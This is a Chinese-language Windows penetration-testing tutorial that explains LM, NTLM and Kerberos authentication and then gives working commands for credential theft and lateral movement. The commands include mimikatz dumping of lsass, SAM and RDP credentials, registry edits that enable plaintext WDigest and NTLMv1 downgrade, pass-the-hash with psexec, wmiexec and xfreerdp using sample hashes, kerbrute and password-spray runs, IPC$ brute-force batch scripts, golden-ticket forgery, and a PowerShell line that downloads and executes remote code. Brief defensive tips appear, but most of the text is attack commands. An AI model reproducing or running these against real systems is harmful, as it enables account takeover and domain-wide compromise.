加密方式
windows中hash结构一般为username:RID:LM-hsah:NTLM-hash
,windwos 2000之后LM-hash都为空,因为很容易破解一般被禁用。NTLM密码hash保存在%SystemRoot%\System32\config\SAM
,在域中,用户信息保存在C:\Windows\NTDS\NTDS.dit
中
windows中密码格式:Username:RID:LM-Hash:NT-Hash
,在LM禁用的版本中为空值。
LM-hash
windows7默认禁用LM-hash加密,本地安全策略-》本地策略-》安全选项,将不储存LAN管理器哈希值改为禁用。
特点:
口令不区分大小写
口令长度最多为14字节,如果没有超过7字节后面8字节是固定的
- DES算法强度不够(字符串 “KGS!@#$%”为Key)
NTLM hash
在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash
- 加密流程:先转换为16进制,unicode转换,MD4加密
Net-NTLM Hash
指网络环境下的NTLM认证中的Hash
在NTLM协议中,NTLM响应就分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法
所以也就存在不同协议的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash
就是NTLM协议中,客户端获取challenge后使用自己的NTLM hash对其进行加密的结果。(就是Response)
这一类hash不能用于PTH,但是能够暴力破解出密码
自Windows Vista/Server2008开始,系统默认禁用Net-NTLMv1,使用Net-NTLMv2
v1格式:username::hostname:LM response:NTLM response:challenge
v2格式:username::domain:challenge:HMAC-MD5:blob
Net-NTLMv1加密利用思路
修改注册表开启v1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
加密流程
服务端返回8位challenge
客户端收到challenge后,使用用户密码Hash加密challenge,作为response(加密算法为3DES)
利用思路
在控制challenge后在短时间内通过彩虹表还原出用户的NTLM Hash
利用工具:https://github.com/eladshamir/Internal-Monologue
NTLM破解工具:https://hashcat.net/wiki/doku.php
Net-NTLMv2
与v1不同的是 challenge有16位,加密算法是HMAC-MD5
windwos认证流程
winlogon.exe -》用户输入 -》 lsass.exe -》 认证
用户输入密码后交给lsass.exe进程,它会先保存一份明文密码,将明文密码加密为NTLM Hash,与SAM数据库进行比较。
相关协议
LM
早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称LM,它是如此简单以至很容易就被破解,现在又有了NTLM以及Kerberos。
- A向B发起请求
B返回A一个8字节的响应码
A将自己的LM Hash分成三部分,每组7字节,每组都使用响应码对其进行加密,然后发送给B。
然后B也执行和A相同的操做,不过LM Hash是储存在服务器中的A的LM Hsah。
如果比对一样则通过验证。
NTLM
NTLM是一种认证协议,NTLM采用质询/应答(Challenge/Response)的消息交换模式,在域中优先使用Kerberos协议,但是也可以使用NTLM
- 用户输入账号密码登录Windows,客户端缓存输入密码的hash值。
客户端向服务器发送请求,请求包括明文表示的用户名。
服务端判断用户名是否存在,存在则生成16位challenge保存并返回给客户端。
客户端收到challenge后使用密码hash进行加密,然后发送给服务器(发送的就是Response)。
服务器收到后利用自己数据库中的密码hash加密challenge,然后进行比较
在域中第5步则是:
- 在域中服务器会发送给DC,包括客户端用户名,客户端密码hash值加密的challenge,原始challenge
- DC根据用户名在数据库中查找密码hash。对challenge进行加密比对,然后将结果返回给客户端。
明文并没有在两者之间传输,使用的是NTLM Hash,如果攻击者获得了NTLM Hash,就可以进行Hash传递攻击(Pass The Hash)
Kerberos
Kerberos是一种网络认证协议,在网络上传输的数据包可以被任意地读取,修改,和插入数据时,Kerberos任然被认为是一种可信任的第三方服务
参与角色:客户端,服务器,KDC(密钥分发中心)= DC
AD目录
AD储存关于网络对象的信息,使管理员能够轻松查找这些信息
网络对象划分为:用户,用户组,计算机,域,组织单位,安全策略
KDC组成
AD:储存所有客户白名单,只有在白名单中的客户端才可以申请TGT
AS:为客户端生成TGT的服务
TGS:为客户端生成某个服务的ticket
从物理层面看AD域KDC都是域控
Kerberos认证流程
一。客户端认证(Client-AS)
AS-REQ:Hash传递攻击,域外用户枚举,密码喷洒攻击,pass the hash with remote desktop,KB22871997
客户端向服务端发送客户端信息和相应的请求(消息1)
- 用户的标识和请求的服务
- 预认证数据,Hash加密的时戳
AS-REP:黄金票据,AS-REP Roasting攻击
kerberos检查该用户是否在本地数据库中,解密时间戳,然后返回两条信息(消息2)
- Client/TGS会话密钥(Client/TGS Session key), 用于客户端与TGS之间的通信,使用客户端的NTLM Hash加密(消息2a)
- 票据授权票据(Ticket Granting Ticket),包含Client/TGS会话密钥,用户ID,用户网址,消息2有效期,通过TGS密钥进行加密。(消息2b)
客户端收到消息后,使用自己的NTLM Hash解密消息2a,得到TGS会话密钥。
二。服务授权(Client-TGS)
客户端想要申请服务的时候,向TGS发送两条消息:
- 消息2b(就是TGT),想要获取的服务ID。
- 认证符(Authenticator),包含用户ID和时间戳,使用Client/TGS会话密钥进行加密。
Kerberos收到客户端的消息后,TGS先在KDC中查找服务ID是否存在,然后使用自己的TGS密钥解密消息客户端发送过来的消息2b,得到Client/TGS会话密钥
TGS-REP:SPN,Kerberosast攻击,白银票据
使用Client/TGS会话密钥解密消息4b,核对完成后向客户端发送:
- 客户端-服务器票据(Client-Server-Ticket),包含Client/SS会话密钥(Client/Server Session key),用户ID,用户网址,票据有效日期。使用服务器密钥加密。
- Client/SS会话密钥,使用Client/TGS密钥加密。
客户端收到消息后使用2a解密得到的Client/TGS密钥解密消息6b,得到Client/SS会话密钥。
三。服务请求
客户端向服务发起请求:
- 发送消息6a。
- 新的Authentication(用户ID,时间戳),使用Client/SS会话密钥加密。
服务器收到消息后,使用自己的服务器密钥解密接收到的消息6a,得到Client/SS密钥,在使用Client/SS密钥解密消息8b,获取Authentication,获取用户ID和时间戳。此时服务器就可以给客户端提供服务了,向服务端发送一条消息:
- 新的时间戳,使用Client/SS加密
四。客户端与服务沟通
- 客户端拿到消息9a后,使用Client/SS解密,验证时间戳,确认服务器身份,然后开始请求。
五。Kerberos的缺点
- 如果Kerberos挂了,就无法请求服务。
时间需要统一,因为票据具有时效性,时间不能超过10分钟
DC被控,整个域就完了
- 客户端防御差,用户密码Hash也会被拿走
横向移动
根据Kerberos的不同流程,可以造成不同的攻击。
抓取密码
Wdigest Auth
https://mp.weixin.qq.com/s/wBgAOb3toxseqwHMToU6nQ
https://baijiahao.baidu.com/s?id=1611387816169124711&wfr=spider&for=pc
mimikatz能导出明文的原因是因为wdigest SSP保存了可逆的密码密文。
在KB2871997之前有其他的SSP也能保存明文,windwos在安装KB2871997补丁或者版本大于Windows 10和Windows Server 2012时,禁止在内存中保存明文密码,但可以通过修改注册表读取。
KB2871997补丁默认禁用了Wdigest Auth,lsass不保存明文密码,但是某些服务需要用Wdigest Auth,所以还能手动开启。
Wdigest作用
与NTLM一样是一种挑战认证协议,只能用于域账户认证,只要用于IIS和LDAP。它的出现主要是为了代替HTTP BASIC,HTTP BASIC会将密码以base64的方式发送。
Digest验证方式
Digest是对RFC 2069和RFC 2617的实现,由于在计算hash的时候需要用到明文密码,所以为了实现认证,只能将密码保存在内存中。
Digest服务端
由于Digest服务需要计算客户端返回的response,也需要保存明文密码,这里就涉及Reversible Encryption功能。
- Reversible Encryption
默认情况下域账号都是关闭这个功能的,所以默认不能使用Wigest认证,域数据库里只保存了hash没有保存密码。
- Advanced Digest
从windows 2003开始,wdigest.dll就是实现Advanced digest,它不在储存明文密码。保存明文密码是因为我们需要算出hash值,Advanced digest会先计算出hash值并保存。实际上域里一共保存了29中hash。
不过这也只能杜绝服务端保存明文。
由于客户端可能与任何域进行认证,所以无法预先计算hash。
开启Wdigest Auth
1. cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest UseLogonCredential /t REG_DWORD /d 1 /f
2. powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
3. meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
关闭只需将最后的1改为0
关闭之后需要重新登录才能获取密码,强制锁屏
1. cmd
rundll32 user32.dll,LockWorkStation
2. powershell
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"
mimikatz
需要管理员权限,因为要读取lsass进程。高版本需要开启Wdigest Auth才能读取明文密码。
privilege::debug #提权
#读取lsass进程
sekurlsa::logonpasswords
读取SAM表
token::elevate
lsadump::sam
防御方法:mimikatz需要与lsass进程进行交互,需要Debug权限,而DeBug权限在Administrators组所有,所以在配置权限的时候可以将Administrators组中拥有DeBug权限的账号移除,mimikatz再次使用privilege::debug
时就会出错。
win+r输入secpol.msc
Additional LSA Protection
为lsass进程提供保护,在win8.1,win server 2012 r2及以上版本有效。
启用方法
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1
重启之后无法读取密码,但是可以在mimkatz同级目录下使用mimidrv.sys绕过
procdump
- dump lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
- 读取密码
sekurlsa::minidump lsass.dmpsekurlsa::tspkgsekurlsa::logonpasswords
SAM表
离线获取SAM表
# cmd管理员reg save HKLM\SYSTEM systemreg save HKLM\SAM sam# mimikatz读取lsadump::sam /sam:sam /system:system
msf
加载mimikatz:load mimkatz明文密码:wdigest密码hash:msv执行mimikatz命令:mimikatz_command -f sekurlsa::logonpasswords
powershell
Invoke-Mimikatz.ps1:https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
转储进程
# mimikatzsekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full
获取RDP密码
win10 失败
RDP凭据目录:C:\Users\用户名\AppData\Local\Microsoft\Credentials
获取命令:cmdkey st或powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
- 获取连接主机的ip
工具:https://github.com/3gstudent/List-RDP-Connections-History
./ListLogged-inUsers.ps1
使用cmd
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
- 获取密码
查看凭据dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*使用mimikatz =》 .\mimikatz.exe ;提权 =》 privilege::debugdpapi::cred /in:C:\Users\de1ay\AppData\Local\Microsoft\Credentials\SSESSION##如果没有得到密码 需要手动输入masterkey,上面的命令可以看见guidmasterkey找到所有masterkey,通过相同的guidmasterkey获取masterkeysekurlsa::dpapidpapi::cred /in:C:\Users\de1ay\AppData\Local\Microsoft\Credentials\SESSION /masterkey:masterkey
横向(AS-REQ)
PTH
由于windows认证采用NTLM协议,并没有传递明文密码,通过获取管理员LM hash或者NTLM hash就可以登录其他主机,获取其他主机权限
使用环境:域,工作组
版本限制:
- Windows NT 5.x中,管理员组账号均能获取系统管理权
- Windows NT 6.x中,管理员组(除SID500账户)不能获取管理员权限
使用条件:要登录的用户是域管理员组(域)或者管理员组(工作组),知道前面账号的密码hashHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken
的值需要为0,如果为1则管理员也无法通过网络登录的方式获取高权限。如果HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
值为1,则所有管理员组账户都能获取高权限。
mimikatz
条件:需要管理员权限
域
mimikatzlog log.txt #将接下来的输出结保存到当前目录下的log.txt中,方便复制privilege::debugsekurlsa::pth /user:xxx /domian:xxx /ntlm:xxxx(32位)
工作组
获取hash后sekurlsa::pth /user:administrator /domian:workgroup /ntlm:xxxx(32位)成功之后弹出的cmd执行ipc命令 可以不用输入密码了
impacket工具包
python版:https://github.com/SecureAuthCorp/impacket
exe版:https://github.com/maaaaz/impacket-examples-windows
psexec
获取的是机器system权限
- 使用NTLM协议
psexec.exe -hashes LM hash:NTLM hash domain/username@x.x.x.xpsexec.exe -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/administrator@10.10.10.11LM Hash可以为空工作组中domain/username就改为机器名/username,就是whoami
- 使用Kerberos协议
当在域环境中时,如果指定IP访问,会使用NTLM协议进行身份认证,因为没有提供SPN(server principal name)
指定psexec指定-k参数使用kerberos协议
setspn -q */*
查看SPN
psexec.exe de1ay.com/administrator@web-sc.de1ay.com -hashes f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24 -k
wmiexec
获取登录账号权限
wmiexec.exe -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/pc32@10.10.10.12
smbexec
smbexec.exe -hashes :161cff084477fe596a5db81874498a24 de1ay/administrator@10.10.10.12
禁用NTLM协议
域控中 本地安全策略
使用kerberos协议PTH
KB2871997
- 支持
Protected User
组 支持Restricted Admin RDP模式
注销后删除内存中的凭据
添加两个新SID
lsass中只允许wdigest储存明文密码,默认禁用
是否能阻止PTH
没有安装KB2871997
域中账户:
- 域管
de1ay\administrator
(成功)
- 普通域账户添加到本地管理员
de1ay\pc
(成功)
- 本地sid500管理员
sc\administrator
(成功)
- 本地普通管理员
sc\test_admin
(失败)
安装KB2871997
然而结果并没有变化
结论
事实上是否能PTH取决于UAC
administrator的sid为500,而域账号使用的是域内的sid,本地普通管理员无法PTH正是被UAC拦截了。
Protected User组
该组成员会强制使用kerberos认证,并且使用AES加密。
两个SID
S-1-5-113和S-1-5-114
S-1-5-113为全部本地账户S-1-5-114是本地administrator组账户
域账户并不受影响
PTK
mimikatz
sekurlsa::pth /user:administrator /domain:alanlitl.com /aes256:xxxxxxx在弹出的cmd中连接其他主机即可
域外用户枚举
域外主机也能与域控进行交互,只要能访问域控的88端口,就能利用kerberos协议的AS-REQ阶段,通过这种方式去枚举用户名。
优点:不会产生大量日志
- 验证成功:产生日志 4768 - A Kerberos authentication ticket (TGT) was requested
- 验证失败:产生日志 4771 - Kerberos pre-authentication failed
攻击方法
kerbrute:https://github.com/ropnop/kerbrute/
- 爆破用户:
kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d de1ay.com user.txt
- 爆破密码:
kerbrute_windows_amd64.exe passwordspray -d 1qaz@WSX user.txt 1qaz@WSX
- 产生的日志
- pyKerbrute
https://github.com/3gstudent/pyKerbrute
- 增加对TCP协议的支持
增加对NTLM hash的验证
EnumADUser
支持TCP和UDP
TCP:
python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt tcp
UDP:
python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt udp
ADPwdSpray.py
支持TCP UDP 和明文,NTLM hash
明文:
python2 ADPwdSpray.py x.x.x.x de1ay.com user.txt clearpassword 1qaz@WSX tcp
NTLM Hash:
python2 ADPwdSpray.py x.x.x.x de1ay.com user.txt ntlmhash xxxxxxxxxxxxxxxxxxx tcp
密码喷洒攻击
利用工具:https://github.com/dafthack/DomainPasswordSpray
指定参数
Domain 指定域RemoveDisable 删除禁用的用户 RemovePotentialLockouts 删除锁定账户UserList 自定义用户列表Password 指定单个密码 PasswordList 指定密码字典OutFile 结果保存到文件 Force 枚举出一个后继续枚举
获取域用户
powershell执行:import-module .\DomainPasswordSpray.ps1;get-domainuserlist
net user /doamin
爆破
Import-Module .\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password 1qaz@WSX
RDP 横向
RDP Hash传递
windows server 2012 R2,win8.1默认支持,Windows 7 和 Windows Server 2008 R2 需要安装KB2871997和KB2984972。详细
- 受限制模式本意是防止从内存中获取用户凭证,当没有开启受限管理员模式并且没有打上KB2871997时,我们可以在内存中获取用户明文和Hash,也可以使用缓存的凭据去访问其他服务(smb等等)。
- 当开启受限管理员时(客户端使用mstsc /restrictedadmin启动),如果本机用户名密码与要登录远程主机相同那么就会直接登录,就算不同也会在计算出所需要的值后发送给远程主机,此时使用mimikatz读取内存,就无法读取到远程登录明文密码,Hash。
查看远程桌面是否打开 0开启,1关闭REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections开启远程桌面(1改为0就是关闭) wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 开启3389REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f检查3389是否打开tasklist /svc | find "TEermServic"netstat -ano | find "上面查到的进程号"或者netstat -ano | find "3389"开启Restricted admin modeREG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f使用linux客户端apt-get install freerdp-x11xfreerdp /u:administrator /pth:161cff084477fe596a5db81874498a24 /v:192.168.62.134 /cert-ignore如果提示身份验证错误,在服务端执行REG add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
IPC$
IPC$(Internet process connection)让进程间通信而开放的命名管道,通过提供可信的用户名和口令,建立安全的通道进行数据交换,基于SMB协议,所以IPC$默认走445端口,要是不通则走139端口(开启NBT情况下)。
直接使用IPC命令
使用条件:
- 开放139,445端口
目标开启IPC$文件共享
获取用户账号密码
建立连接net use \\10.10.10.12\ipc$ /user:administrator "1qaz@WSX"删除连接net use \\10.10.10.12\ipc$ /del查看文件dir \\192.168.242.134\c$复制文件copy mimikatz.exe \\x.x.x.x\c$\temp\mimikatz.exe创建任务schtasks /create /tn "test /tr calc.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"直接运行任务schtasks /run /tn "test" /S 192.168.242.134 /u administrator /p "1qaz@WSX"删除任务schtasks /F /delete /tn "plugin_update" /S 192.168.242.134 /u administrator /p "1qaz@WSX"
使用psexec
通过ipc$连接,在目标机器传送psexesvc.exe,创建并启动服务,客户端连接。
利用工具:Metasploit的psexec psexec psh, Impacket工具包的psexec, pth-winexe, Empire Invoke-Psexec,windows的PsExec
优点:获取的是system权限
缺点:需要启动服务,特征明显容易被杀,需要开启admin$
- PsExec
net use \\x.x.x.x\ipc$ "password" /user:de1ay\administratorPsExec.exe -accepteula \\10.10.10.10 -s cmd.exe
爆破
有密码
@echo offclsecho Useage: %0 ip.txt pass.txtfor /f %%t in (%1) do (FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txtnet use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >NUL 2>NULIF NOT errorlevel 1 (echo %%i t:%%t>> pic.txtnet use \\%%t\ipc$ /del)net use * /del /y >NUL 2>NUL))echo end >> end.txt
无密码
@echo offclsecho Useage: %0 ip.txtfor /f %%t in (%1) do (echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txtnet use \\%%t\ipc$ "" /user:"localhost\Administrator" >NUL 2>NULIF NOT errorlevel 1 (echo success:%%t>> pic.txtnet use \\%%t\ipc$ /del)net use * /del /y >NUL 2>NUL)echo end >> end.txt
端口禁用
防火墙关闭两个端口
开启445
开启139
横向(AS-REP)
黄金票据
黄金票据是伪造TGT票据,没有进行AS-REQ和AS-REP通信。
伪造黄金票据要求:
- 域名称
域SID值
krbtgt账户Hash
- 伪造用户名
特点
- KDC不会检查TGT中的用户,知道TGT超时20分钟,所以攻击者能使用禁用,删除甚至是不存在用户。
票据有效时间以票据为准
不管有没有加入域,只要能在网络上访问,就能造成攻击
伪造票据
使用mimikatz
- 获取krbtgt hash
在域控上导出hashlsadump::dcsync /domian:de1ay.com /user:krbtgtlsadump::lsa /patch
- 伪造票据
找到一下信息
域名,sid,aes256或者ntml
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-502 /aes256:S-1-5-21-2756371121-2868759905-3853650604-502 /user:administrator /ticket:gold.kirbikerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-502 /krbtgt:S-1-5-21-2756371121-2868759905-3853650604-502 /user:administrator /ticket:gold.kirbi
- 使用票据
kerberos::list #查看票据kerberos::purge #清空票据kerberos::ptt gold.kirbi #注入票据
- 获取权限
使用psexec或者wmi都可以
需要使用机器名
PsExec.exe -accepteula //DC.de1ay.com -s cmd如哦开启了RPC服务,可以使用wmiexec连接cscript wmiexec.vbs /shell 10.10.10.10
局限性及其绕过
局限:
由于mimkatz通过RID(相对安全标记符)向票据添加组成员资格,因此在多域中,无法向其它域提供权限。
绕过:
在迁移方案中,从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时,DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。
新版的mimikatz可以将历史SID记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域受到攻击,整个域都会受到威胁。
防御:
在Active Directory林中的信任之间启用SID筛选可以防止绕过黄金票据局限性。
黄金票据防御
定期修改krbtgt密码
限制管理员账户在其他主机上登录,委派给其他账户相关权限代替管理员账户。